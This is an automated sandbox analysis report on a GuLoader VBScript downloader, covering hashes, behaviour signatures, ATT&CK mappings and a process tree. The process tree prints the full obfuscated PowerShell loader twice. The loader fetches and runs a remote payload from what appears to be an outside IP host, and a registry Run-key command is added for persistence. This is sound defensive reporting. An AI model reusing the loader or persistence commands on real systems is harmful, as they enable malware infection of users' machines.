guloader | 1618915502103b767b55c3c476d3e48b7abbcb3c9c6563d2658e00ef5525938f

Analysis

max time kernel
146s
max time network
104s
platform
windows10-2004_x64
resource
win10v2004-20240419-en
resource tags

arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
submitted
04/05/2024, 01:21

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
c950aba2061fbb90b63122bec04b71764966e5554b6cd40114772c392464f748.vbs
Size 210KB
Sample240504-bq65mahe91
SHA256 c950aba2061fbb90b63122bec04b71764966e5554b6cd40114772c392464f748
MD5 5c7e4886e009c7d2908ec633bf48cf8e
SHA1 72e9f5c65571b19402febfa7f36fc6ee5ce9a0f3
SHA512 e7910dd42402712860ff660e699707d3c0ae6e4ba8eb8292a8a01de8a22a78bd86272f9668ae4fe260c9af499bbc8477d8d8df115a917040606be6c9cb7736f1
SSDEEP 6144:wyJITON4vsj1oLXVAFN6oDpLfcW6PGOYQO+17ezWSUqE19eAV/KE3JSlkiuqIQKi:lcKJkRH3Y
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

guloader downloader persistence

Malware Config

Signatures

Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader

Blocklisted process makes network request 2 IoCs

flow	pid	Process
2	1588	WScript.exe
6	2140	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3726321484-1950364574-433157660-1000\Control Panel\International\Geo\Nation	WScript.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3726321484-1950364574-433157660-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Achaque = "%Akkvisitiv% -w 1 $Europiums=(Get-ItemProperty -Path 'HKCU:\\Respirometres\\').Xenoplastic;%Akkvisitiv% ($Europiums)"	reg.exe

Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs

pid	Process
2652	wab.exe
2652	wab.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
4340	powershell.exe
2652	wab.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 4340 set thread context of 2652	4340	powershell.exe	113
PID 2652 set thread context of 3448	2652	wab.exe	56

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
4840	2652	WerFault.exe	113

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
632	reg.exe

Runs ping.exe 1 TTPs 2 IoCs

Remote System Discovery

T1018

pid	Process
4916	ping.exe
2720	ping.exe

Suspicious behavior: EnumeratesProcesses 22 IoCs

pid	Process
2140	powershell.exe
2140	powershell.exe
4340	powershell.exe
4340	powershell.exe
4340	powershell.exe
4340	powershell.exe
2652	wab.exe
2652	wab.exe
2652	wab.exe
2652	wab.exe
2652	wab.exe
2652	wab.exe
2652	wab.exe
2652	wab.exe
2652	wab.exe
2652	wab.exe
2652	wab.exe
2652	wab.exe
2652	wab.exe
2652	wab.exe
2652	wab.exe
2652	wab.exe

Suspicious behavior: MapViewOfSection 4 IoCs

pid	Process
4340	powershell.exe
4340	powershell.exe
4340	powershell.exe
2652	wab.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	2140	powershell.exe
Token: SeDebugPrivilege	4340	powershell.exe
Token: SeShutdownPrivilege	3448	Explorer.EXE
Token: SeCreatePagefilePrivilege	3448	Explorer.EXE

Suspicious use of UnmapMainImage 1 IoCs

pid	Process
3448	Explorer.EXE

Suspicious use of WriteProcessMemory 36 IoCs

description	pid	Process	procid_target
PID 1588 wrote to memory of 2720	1588	WScript.exe	86
PID 1588 wrote to memory of 2720	1588	WScript.exe	86
PID 1588 wrote to memory of 4916	1588	WScript.exe	88
PID 1588 wrote to memory of 4916	1588	WScript.exe	88
PID 1588 wrote to memory of 3524	1588	WScript.exe	90
PID 1588 wrote to memory of 3524	1588	WScript.exe	90
PID 1588 wrote to memory of 2140	1588	WScript.exe	92
PID 1588 wrote to memory of 2140	1588	WScript.exe	92
PID 2140 wrote to memory of 3924	2140	powershell.exe	94
PID 2140 wrote to memory of 3924	2140	powershell.exe	94
PID 2140 wrote to memory of 4340	2140	powershell.exe	106
PID 2140 wrote to memory of 4340	2140	powershell.exe	106
PID 2140 wrote to memory of 4340	2140	powershell.exe	106
PID 4340 wrote to memory of 1308	4340	powershell.exe	108
PID 4340 wrote to memory of 1308	4340	powershell.exe	108
PID 4340 wrote to memory of 1308	4340	powershell.exe	108
PID 4340 wrote to memory of 3236	4340	powershell.exe	111
PID 4340 wrote to memory of 3236	4340	powershell.exe	111
PID 4340 wrote to memory of 3236	4340	powershell.exe	111
PID 4340 wrote to memory of 1988	4340	powershell.exe	112
PID 4340 wrote to memory of 1988	4340	powershell.exe	112
PID 4340 wrote to memory of 1988	4340	powershell.exe	112
PID 4340 wrote to memory of 2652	4340	powershell.exe	113
PID 4340 wrote to memory of 2652	4340	powershell.exe	113
PID 4340 wrote to memory of 2652	4340	powershell.exe	113
PID 4340 wrote to memory of 2652	4340	powershell.exe	113
PID 4340 wrote to memory of 2652	4340	powershell.exe	113
PID 2652 wrote to memory of 1964	2652	wab.exe	114
PID 2652 wrote to memory of 1964	2652	wab.exe	114
PID 2652 wrote to memory of 1964	2652	wab.exe	114
PID 1964 wrote to memory of 632	1964	cmd.exe	116
PID 1964 wrote to memory of 632	1964	cmd.exe	116
PID 1964 wrote to memory of 632	1964	cmd.exe	116
PID 3448 wrote to memory of 2216	3448	Explorer.EXE	128
PID 3448 wrote to memory of 2216	3448	Explorer.EXE	128
PID 3448 wrote to memory of 2216	3448	Explorer.EXE	128

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of UnmapMainImage
- Suspicious use of WriteProcessMemory
PID:3448
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\c950aba2061fbb90b63122bec04b71764966e5554b6cd40114772c392464f748.vbs"
  2⤵
  - Blocklisted process makes network request
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:1588
- - C:\Windows\System32\ping.exe
    ping google.com -n 1
    3⤵
    - Runs ping.exe
    PID:2720
- - C:\Windows\System32\ping.exe
    ping %.%.%.%
    3⤵
    - Runs ping.exe
    PID:4916
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c dir
    3⤵
    PID:3524
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Retorsionshandlingenllustrationer = 1;$Elytrigerous='S';$Elytrigerous+='ubstrin';$Elytrigerous+='g';Function Programregningsfunktionens($Ridderne){$Retorsionshandlingennfraocular=$Ridderne.Length-$Retorsionshandlingenllustrationer;For($Retorsionshandlingen=5; $Retorsionshandlingen -lt $Retorsionshandlingennfraocular; $Retorsionshandlingen+=(6)){$Outsmokes+=$Ridderne.$Elytrigerous.Invoke( $Retorsionshandlingen, $Retorsionshandlingenllustrationer);}$Outsmokes;}function Gracy216($Begrendes){. ($Antediluvianske) ($Begrendes);}$Diskoskasteren=Programregningsfunktionens 's.perM L deoLandszAccomiTurbolBrystlSu.loa Inte/Linje5.ilfo.Brneb0B,ddi illi(MamelWKortsiExoranBowkndSp,dho.urvew,ndtrsFjase utotNmilepTb,een marga1San.u0Balli.Montr0H,rsk;.ykke BrakpWxanthi ,ervnReprs6trova4Filet;D,awc vidnxT,gue6Admin4Cotra;Insci Un btrTogstvEgipt:Inter1Riv l2For e1 daun. Gens0Sknde)Neutr Trak GRepudeGuldkc BelakTandloV.rde/ edb2Uheld0Sknhe1Elek.0Nell,0 ,rot1Un,en0Skibi1savne MordFautogiKo,merDe,inearom,fShipboHapaxxStork/Inten1Splas2Ds,es1 ilsk.Fylds0Capri ';$Sprayens=Programregningsfunktionens 'NondeU rubasVa neeBe,kir For -,geblAR.bbegholose Ta dn ParatPrivi ';$Reprogrammes=Programregningsfunktionens 'Stuf.hL.muctVersit SubspCosmo:etcif/Taksa/ Impl8Morph7Far,n.Bronz1Anal,2proc,1Ungl .unpol1Unper0F,nda5varmt. Gr,n5Roc,e4,sent/SeksaOOverrmMismamT.buleLandlsForcetmis,arAtropuDiscop,iske.AarsadUnsanesaanipBrodflDiameonamatySawai ';$Kretidseffekternes=Programregningsfunktionens 'Vejkr>Phisa ';$Antediluvianske=Programregningsfunktionens 'Etam.iRaadie saddxFasts ';$Gunlaying='Forraadnelig';Gracy216 (Programregningsfunktionens ' L urS AtikeSignatRecon- geneCPen,eo.endrnNovumtPrintelailanPorphtSt ir Peatw-AngloPObitaa elvetSymbohP,esh TrvemT,ough: ,aad\ Afv I Cerid.roldrCheskt UdpasFilerfMenneo C,lorsol,ceSuavenphaneiIndlenAabengSeepssUnche1Pre i9Wi,db7Super.RadiotNiveax t rrt Duod Evole-Un mmV selraMoraklPericuUnmoueAdvoc Melle$samstG estiu AppenRe,orl TeleaAnmrkySaponiImmunn BehvgAh.eh;Chabo ');Gracy216 (Programregningsfunktionens ' FramiHabi,fCacos larit( GrectV.stfe.olfisTalertRidge-OzonopJu iaaStoddtTabarhPigl, Pse THaand:Mosen\KomplI .oemd ilker tigetEperosKrig,f ColloPl.udr SubseMad lnNonmoiKromgnEnok g SaxosHaand1 Twir9Op oe7 Lov..Fedtst An txfarvet Rede) rtss{ Ka.me KropxFaksiiUdsket Sang} Un s; Gro, ');$Kvrne = Programregningsfunktionens 'NedraeUnconcUan.ghPet ooPaatn Munke%Kys.eaCasanpfy,depSixpedOver aGravit orema Ragl%Euboe\DevelS LovgaLaa,ngPlat sNematgBug.gn JalaiTegninOvercgArbe.eSl,knr Forsn p.ileafsvo. UnshISpirinM lartH ved .fsla&Neonr&Be.ri AdiabeTro ecUdganhSvovloeksp Trink$Ambol ';Gracy216 (Programregningsfunktionens 'Slide$SvmnigImperlAvn,soT aadb Rag,aPie alFordr: DemiVGoogoiQuittrShop k TrknsMycetofodbomHomemhDr sieEffemd De,isdawsst Bf eyOprikpBrancePatrunSongbs Thri=Nonam(Am.utcPillamSulted Stev Toksi/ ilhecRajah bed $.inguK lirevYderzrEutopnExaucehep.a)Kinkl ');Gracy216 (Programregningsfunktionens ' G ni$Hot ogBoffilBotchoOcto bD gsoapetull Akse:ReillJAlkalaPointd Nigre Wien=Alv o$micr RSkribeLute,p DestrMnsteoConfegSemisrKul,uaShephmVokstm Du,teFdevassten.. E.ilsIconopCarpelMediaiCalvat Sol ( ylds$DemenKFur arPrecieWhoretFladliBlownd Enkesifr,eeErnrif Re.af Cooke Anenk RaadtOu.fle Aft.rInclunO erfeFor,lsTimal)Morsk ');$Reprogrammes=$Jade[0];Gracy216 (Programregningsfunktionens 'P ovo$ orong.lyngl d.bkoModelbG uetaRe.islSmaad:DarviOSe vbpoverbb .delaParask raman preti ModsnDelirgSk teeIsomorSpildnPanoce Hec,sBogst= MakvNM.rphe Therw.unda- LakfO ndebG,verjAcquae Aca cFakket Paah B,vidSTransyGaards U.vitGigole Bes.m Til,.BarreNill meHrevitpl ni. ,ddiW Fyrie S,ilb KodeCDecerl,krmiiKenyoeElseknReinttKaryo ');Gracy216 (Programregningsfunktionens ' Opkr$ anicO Am tpmanifbAeriaaDragokSom knlag,piCowbon TestgBve reDialerTapetn Occ.e Acc,sLysim.BegruHSensaeSola,aeddo.dMidene,esbirSkrivszuric[Unbat$DyrskSPrivipAgglorBrdskaBondeySkrlleChromnJabotsDysc,]Afse.=Clino$PerisD CeptiSpants NummkCarpooAstros,harnkThoseaCzardsYement ,reteTauterVirileFotognSlang ');$unrestitutive=Programregningsfunktionens 'unquiO.etshpKardub enfoaUns.rkKh.lin.undaiSdeign Af.kgStikkeforfarPhilinSchooeMastes fjer.CubanDI dusoA,sluw MissnBonifltal,uo Spira Irrad ndriF .yrsi my,glSta.leCon.i(Immun$SkadeRSi.use SulppUnhilrExcuso .uargQuislrGaaseaSmid m FollmBeefiebod gs ,one,Unchl$sk ifBSamitaSmaabgHaveeaGotergimpeteWolfyrDebat) Dext ';$unrestitutive=$Virksomhedstypens[1]+$unrestitutive;$Bagager=$Virksomhedstypens[0];Gracy216 (Programregningsfunktionens 'Bruge$KabelgCrackl BankoAntikbSystea kovsl ehf:Wit iC i,dhhFunktaCo.dyrMatripNonreiChapt= Hasl(DobbeTGenv.eAntidsVognpt u pa-Fyr.ePChiboadiplotFogethPense svog$FeltrBGranoaUndergS alta EjurgLact ePiar rBlaas) Bonb ');while (!$Charpi) {Gracy216 (Programregningsfunktionens '.ekor$attragLitholPerinoOverab S riaMaelsl Eass:Xe opkTrapplOve.ci HousgPlatyeFiffischl.r=buest$,oldft ersirKonsuuDyr,eeHoved ') ;Gracy216 $unrestitutive;Gracy216 (Programregningsfunktionens 'DrakoSCustutAli,aaAmo.nrS.ltitDoser-B.criSSocialhear e JosteKalciplynce Minds4 tra, ');Gracy216 (Programregningsfunktionens 'Moiti$HentrgHomeslAttrioTylerbTocylaDesp.l Ri s:Hoo aC epash,rdnua NicorHemsepDeerfi,esbe=Pseud(,crieTFiordeBebl s Rub t F.va-SnaffPsq,ataS,aahtWizenhProgr Udste$XylidBTilstaKommugTypegaEp togLykkee ypoar Bevg)Niels ') ;Gracy216 (Programregningsfunktionens 'Amidu$ I dlgFlgesl Bilfo Barrb Afa a Ca,slapote:Vi erTIma.erHeadseAfskynEuxans Imp.eKobsjs nfer=T wmo$ NitrgG raflNewyooAtwixbIrredaCarpelPresb:TipskC,ynkeiEndesr FurlcHandeuSu,erm FlegzBlikkeGl,conMotiviBogs.t PoethCleara TriulLo,di+be.ka+Gymno%Trans$.crumJShawyaklostdUdlaae Quin.NonhecUn roo Ink,uNo phn com,t ewr ') ;$Reprogrammes=$Jade[$Trenses];}Gracy216 (Programregningsfunktionens 'Riban$IncongCheepl ar.eo Sperbglucoas,lenlRubin:Snvr.F GererFil,ue Salld Semis Showb Kalce S,bdv Holda SubseMaleagFl veeUnivelFactisYahgaeJ.wle1Negli3Incul3Besti m,dm= Fitm FecktG pfyleBepaitOctof- Fr mCgaranochartnKrad tPrioreU.ympnBestetRe.ns Hj or$ N geBRegnsaBromcg.ermsaPasipgSou.we ntrrMes e ');Gracy216 (Programregningsfunktionens 'Hjert$watergAabnelPro.iounre,b VoksaAutomlCoisl: RyddIAl,ctn MarkcSeptioRemonaHebdolB eeke AinusVeksecVictieHerm nTeachc ExteeFine Nicht=Jus,l Avoca[ ,issSKenosy Haw sKakoftN.nhee Und,m asr. AltaCFejlboMidfinSide,vToldbeA oebrBeboetEumen]Dngbr:Taarn:RecepFSava.rSkingoBillim RemuBSiliqa fremsSparee obsc6Under4N theSSee,st ,ndsrTyp.oiHjmesn AfkagSk iv(,prrs$N ettFKolonrRetoueglottdRecalsUnt.mb Dadaekeratv Sovea False ungbgSor.aeSpaaklM.sdesCetaneTunne1defig3cep.a3Bredd)sloww ');Gracy216 (Programregningsfunktionens 'Ances$CellugTnkeelCaesioArvesb MetraRumswl igan: romaPunproe ,ekulGl,sasPiruedT.rreyLejlarCeremf GelaaT.rifrHugonmIndag Preki=vendi D.ase[NeddyScoffeySmudgsMu,kitGemineb belmDyppe. HresT S,ipeChowdxapolltMlkes.KontrE ,rdin O,occ Ind oRest,dLoomiiBortfnKedelgIncul]Natur:Hoved:StracAPrjudS.archC pantI PhenI N.nf.GelatGUdskre ,ildt Arm.SCommetInvadr Messi,ooksnDj,elgudham(Uroks$RunouIMedicnSau ecNonproUdvisaFrih lFortreKalots Volcc KlkkesticknParenc Vmi e,osta)Therm ');Gracy216 (Programregningsfunktionens 'Reac $ FadegMaximlEkskloHorosb ,onnaSyst,lReces: SmreSMcmahiTragtlHeadsdAnkeseBa.etfBytt,i Serts orfrkExtboeMisadrnulpunHjtidedatol=R str$XiphiPS,atieNonprlEstersSa,frd akneyKatarr mesef UnstastyrerreblomBesla.huff.sCubituVictib,indes nlegtOr anrKnippiShallnTink.g s.ld( Navn3Nonsy1Pride9 Pref8Hotel5Dialo3 ,ilb,Neis 2 Brev8Un,ro4Flaad1Svens7,reex)Terro ');Gracy216 $Sildefiskerne;"
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2140
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Sagsgningerne.Int && echo $"
      4⤵
      PID:3924
  - - C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Retorsionshandlingenllustrationer = 1;$Elytrigerous='S';$Elytrigerous+='ubstrin';$Elytrigerous+='g';Function Programregningsfunktionens($Ridderne){$Retorsionshandlingennfraocular=$Ridderne.Length-$Retorsionshandlingenllustrationer;For($Retorsionshandlingen=5; $Retorsionshandlingen -lt $Retorsionshandlingennfraocular; $Retorsionshandlingen+=(6)){$Outsmokes+=$Ridderne.$Elytrigerous.Invoke( $Retorsionshandlingen, $Retorsionshandlingenllustrationer);}$Outsmokes;}function Gracy216($Begrendes){. ($Antediluvianske) ($Begrendes);}$Diskoskasteren=Programregningsfunktionens 's.perM L deoLandszAccomiTurbolBrystlSu.loa Inte/Linje5.ilfo.Brneb0B,ddi illi(MamelWKortsiExoranBowkndSp,dho.urvew,ndtrsFjase utotNmilepTb,een marga1San.u0Balli.Montr0H,rsk;.ykke BrakpWxanthi ,ervnReprs6trova4Filet;D,awc vidnxT,gue6Admin4Cotra;Insci Un btrTogstvEgipt:Inter1Riv l2For e1 daun. Gens0Sknde)Neutr Trak GRepudeGuldkc BelakTandloV.rde/ edb2Uheld0Sknhe1Elek.0Nell,0 ,rot1Un,en0Skibi1savne MordFautogiKo,merDe,inearom,fShipboHapaxxStork/Inten1Splas2Ds,es1 ilsk.Fylds0Capri ';$Sprayens=Programregningsfunktionens 'NondeU rubasVa neeBe,kir For -,geblAR.bbegholose Ta dn ParatPrivi ';$Reprogrammes=Programregningsfunktionens 'Stuf.hL.muctVersit SubspCosmo:etcif/Taksa/ Impl8Morph7Far,n.Bronz1Anal,2proc,1Ungl .unpol1Unper0F,nda5varmt. Gr,n5Roc,e4,sent/SeksaOOverrmMismamT.buleLandlsForcetmis,arAtropuDiscop,iske.AarsadUnsanesaanipBrodflDiameonamatySawai ';$Kretidseffekternes=Programregningsfunktionens 'Vejkr>Phisa ';$Antediluvianske=Programregningsfunktionens 'Etam.iRaadie saddxFasts ';$Gunlaying='Forraadnelig';Gracy216 (Programregningsfunktionens ' L urS AtikeSignatRecon- geneCPen,eo.endrnNovumtPrintelailanPorphtSt ir Peatw-AngloPObitaa elvetSymbohP,esh TrvemT,ough: ,aad\ Afv I Cerid.roldrCheskt UdpasFilerfMenneo C,lorsol,ceSuavenphaneiIndlenAabengSeepssUnche1Pre i9Wi,db7Super.RadiotNiveax t rrt Duod Evole-Un mmV selraMoraklPericuUnmoueAdvoc Melle$samstG estiu AppenRe,orl TeleaAnmrkySaponiImmunn BehvgAh.eh;Chabo ');Gracy216 (Programregningsfunktionens ' FramiHabi,fCacos larit( GrectV.stfe.olfisTalertRidge-OzonopJu iaaStoddtTabarhPigl, Pse THaand:Mosen\KomplI .oemd ilker tigetEperosKrig,f ColloPl.udr SubseMad lnNonmoiKromgnEnok g SaxosHaand1 Twir9Op oe7 Lov..Fedtst An txfarvet Rede) rtss{ Ka.me KropxFaksiiUdsket Sang} Un s; Gro, ');$Kvrne = Programregningsfunktionens 'NedraeUnconcUan.ghPet ooPaatn Munke%Kys.eaCasanpfy,depSixpedOver aGravit orema Ragl%Euboe\DevelS LovgaLaa,ngPlat sNematgBug.gn JalaiTegninOvercgArbe.eSl,knr Forsn p.ileafsvo. UnshISpirinM lartH ved .fsla&Neonr&Be.ri AdiabeTro ecUdganhSvovloeksp Trink$Ambol ';Gracy216 (Programregningsfunktionens 'Slide$SvmnigImperlAvn,soT aadb Rag,aPie alFordr: DemiVGoogoiQuittrShop k TrknsMycetofodbomHomemhDr sieEffemd De,isdawsst Bf eyOprikpBrancePatrunSongbs Thri=Nonam(Am.utcPillamSulted Stev Toksi/ ilhecRajah bed $.inguK lirevYderzrEutopnExaucehep.a)Kinkl ');Gracy216 (Programregningsfunktionens ' G ni$Hot ogBoffilBotchoOcto bD gsoapetull Akse:ReillJAlkalaPointd Nigre Wien=Alv o$micr RSkribeLute,p DestrMnsteoConfegSemisrKul,uaShephmVokstm Du,teFdevassten.. E.ilsIconopCarpelMediaiCalvat Sol ( ylds$DemenKFur arPrecieWhoretFladliBlownd Enkesifr,eeErnrif Re.af Cooke Anenk RaadtOu.fle Aft.rInclunO erfeFor,lsTimal)Morsk ');$Reprogrammes=$Jade[0];Gracy216 (Programregningsfunktionens 'P ovo$ orong.lyngl d.bkoModelbG uetaRe.islSmaad:DarviOSe vbpoverbb .delaParask raman preti ModsnDelirgSk teeIsomorSpildnPanoce Hec,sBogst= MakvNM.rphe Therw.unda- LakfO ndebG,verjAcquae Aca cFakket Paah B,vidSTransyGaards U.vitGigole Bes.m Til,.BarreNill meHrevitpl ni. ,ddiW Fyrie S,ilb KodeCDecerl,krmiiKenyoeElseknReinttKaryo ');Gracy216 (Programregningsfunktionens ' Opkr$ anicO Am tpmanifbAeriaaDragokSom knlag,piCowbon TestgBve reDialerTapetn Occ.e Acc,sLysim.BegruHSensaeSola,aeddo.dMidene,esbirSkrivszuric[Unbat$DyrskSPrivipAgglorBrdskaBondeySkrlleChromnJabotsDysc,]Afse.=Clino$PerisD CeptiSpants NummkCarpooAstros,harnkThoseaCzardsYement ,reteTauterVirileFotognSlang ');$unrestitutive=Programregningsfunktionens 'unquiO.etshpKardub enfoaUns.rkKh.lin.undaiSdeign Af.kgStikkeforfarPhilinSchooeMastes fjer.CubanDI dusoA,sluw MissnBonifltal,uo Spira Irrad ndriF .yrsi my,glSta.leCon.i(Immun$SkadeRSi.use SulppUnhilrExcuso .uargQuislrGaaseaSmid m FollmBeefiebod gs ,one,Unchl$sk ifBSamitaSmaabgHaveeaGotergimpeteWolfyrDebat) Dext ';$unrestitutive=$Virksomhedstypens[1]+$unrestitutive;$Bagager=$Virksomhedstypens[0];Gracy216 (Programregningsfunktionens 'Bruge$KabelgCrackl BankoAntikbSystea kovsl ehf:Wit iC i,dhhFunktaCo.dyrMatripNonreiChapt= Hasl(DobbeTGenv.eAntidsVognpt u pa-Fyr.ePChiboadiplotFogethPense svog$FeltrBGranoaUndergS alta EjurgLact ePiar rBlaas) Bonb ');while (!$Charpi) {Gracy216 (Programregningsfunktionens '.ekor$attragLitholPerinoOverab S riaMaelsl Eass:Xe opkTrapplOve.ci HousgPlatyeFiffischl.r=buest$,oldft ersirKonsuuDyr,eeHoved ') ;Gracy216 $unrestitutive;Gracy216 (Programregningsfunktionens 'DrakoSCustutAli,aaAmo.nrS.ltitDoser-B.criSSocialhear e JosteKalciplynce Minds4 tra, ');Gracy216 (Programregningsfunktionens 'Moiti$HentrgHomeslAttrioTylerbTocylaDesp.l Ri s:Hoo aC epash,rdnua NicorHemsepDeerfi,esbe=Pseud(,crieTFiordeBebl s Rub t F.va-SnaffPsq,ataS,aahtWizenhProgr Udste$XylidBTilstaKommugTypegaEp togLykkee ypoar Bevg)Niels ') ;Gracy216 (Programregningsfunktionens 'Amidu$ I dlgFlgesl Bilfo Barrb Afa a Ca,slapote:Vi erTIma.erHeadseAfskynEuxans Imp.eKobsjs nfer=T wmo$ NitrgG raflNewyooAtwixbIrredaCarpelPresb:TipskC,ynkeiEndesr FurlcHandeuSu,erm FlegzBlikkeGl,conMotiviBogs.t PoethCleara TriulLo,di+be.ka+Gymno%Trans$.crumJShawyaklostdUdlaae Quin.NonhecUn roo Ink,uNo phn com,t ewr ') ;$Reprogrammes=$Jade[$Trenses];}Gracy216 (Programregningsfunktionens 'Riban$IncongCheepl ar.eo Sperbglucoas,lenlRubin:Snvr.F GererFil,ue Salld Semis Showb Kalce S,bdv Holda SubseMaleagFl veeUnivelFactisYahgaeJ.wle1Negli3Incul3Besti m,dm= Fitm FecktG pfyleBepaitOctof- Fr mCgaranochartnKrad tPrioreU.ympnBestetRe.ns Hj or$ N geBRegnsaBromcg.ermsaPasipgSou.we ntrrMes e ');Gracy216 (Programregningsfunktionens 'Hjert$watergAabnelPro.iounre,b VoksaAutomlCoisl: RyddIAl,ctn MarkcSeptioRemonaHebdolB eeke AinusVeksecVictieHerm nTeachc ExteeFine Nicht=Jus,l Avoca[ ,issSKenosy Haw sKakoftN.nhee Und,m asr. AltaCFejlboMidfinSide,vToldbeA oebrBeboetEumen]Dngbr:Taarn:RecepFSava.rSkingoBillim RemuBSiliqa fremsSparee obsc6Under4N theSSee,st ,ndsrTyp.oiHjmesn AfkagSk iv(,prrs$N ettFKolonrRetoueglottdRecalsUnt.mb Dadaekeratv Sovea False ungbgSor.aeSpaaklM.sdesCetaneTunne1defig3cep.a3Bredd)sloww ');Gracy216 (Programregningsfunktionens 'Ances$CellugTnkeelCaesioArvesb MetraRumswl igan: romaPunproe ,ekulGl,sasPiruedT.rreyLejlarCeremf GelaaT.rifrHugonmIndag Preki=vendi D.ase[NeddyScoffeySmudgsMu,kitGemineb belmDyppe. HresT S,ipeChowdxapolltMlkes.KontrE ,rdin O,occ Ind oRest,dLoomiiBortfnKedelgIncul]Natur:Hoved:StracAPrjudS.archC pantI PhenI N.nf.GelatGUdskre ,ildt Arm.SCommetInvadr Messi,ooksnDj,elgudham(Uroks$RunouIMedicnSau ecNonproUdvisaFrih lFortreKalots Volcc KlkkesticknParenc Vmi e,osta)Therm ');Gracy216 (Programregningsfunktionens 'Reac $ FadegMaximlEkskloHorosb ,onnaSyst,lReces: SmreSMcmahiTragtlHeadsdAnkeseBa.etfBytt,i Serts orfrkExtboeMisadrnulpunHjtidedatol=R str$XiphiPS,atieNonprlEstersSa,frd akneyKatarr mesef UnstastyrerreblomBesla.huff.sCubituVictib,indes nlegtOr anrKnippiShallnTink.g s.ld( Navn3Nonsy1Pride9 Pref8Hotel5Dialo3 ,ilb,Neis 2 Brev8Un,ro4Flaad1Svens7,reex)Terro ');Gracy216 $Sildefiskerne;"
      4⤵
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: MapViewOfSection
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4340
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Sagsgningerne.Int && echo $"
        5⤵
        
        PID:1308
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe"
        5⤵
        
        PID:3236
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe"
        5⤵
        
        PID:1988
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe"
        5⤵
        Suspicious use of NtCreateThreadExHideFromDebugger
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: MapViewOfSection
        Suspicious use of WriteProcessMemory
        
        PID:2652
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Achaque" /t REG_EXPAND_SZ /d "%Akkvisitiv% -w 1 $Europiums=(Get-ItemProperty -Path 'HKCU:\Respirometres\').Xenoplastic;%Akkvisitiv% ($Europiums)"
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:1964
        
        C:\Windows\SysWOW64\reg.exe
        
        REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Achaque" /t REG_EXPAND_SZ /d "%Akkvisitiv% -w 1 $Europiums=(Get-ItemProperty -Path 'HKCU:\Respirometres\').Xenoplastic;%Akkvisitiv% ($Europiums)"
        7⤵
        Adds Run key to start application
        Modifies registry key
        
        PID:632
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2652 -s 912
        6⤵
        Program crash
        
        PID:4840
- C:\Windows\SysWOW64\xcopy.exe
  "C:\Windows\SysWOW64\xcopy.exe"
  2⤵
  PID:2216

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 2652 -ip 2652
1⤵
PID:4744

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

__PSScriptPolicyTest_t45idohe.qrg.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_t45idohe.qrg.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
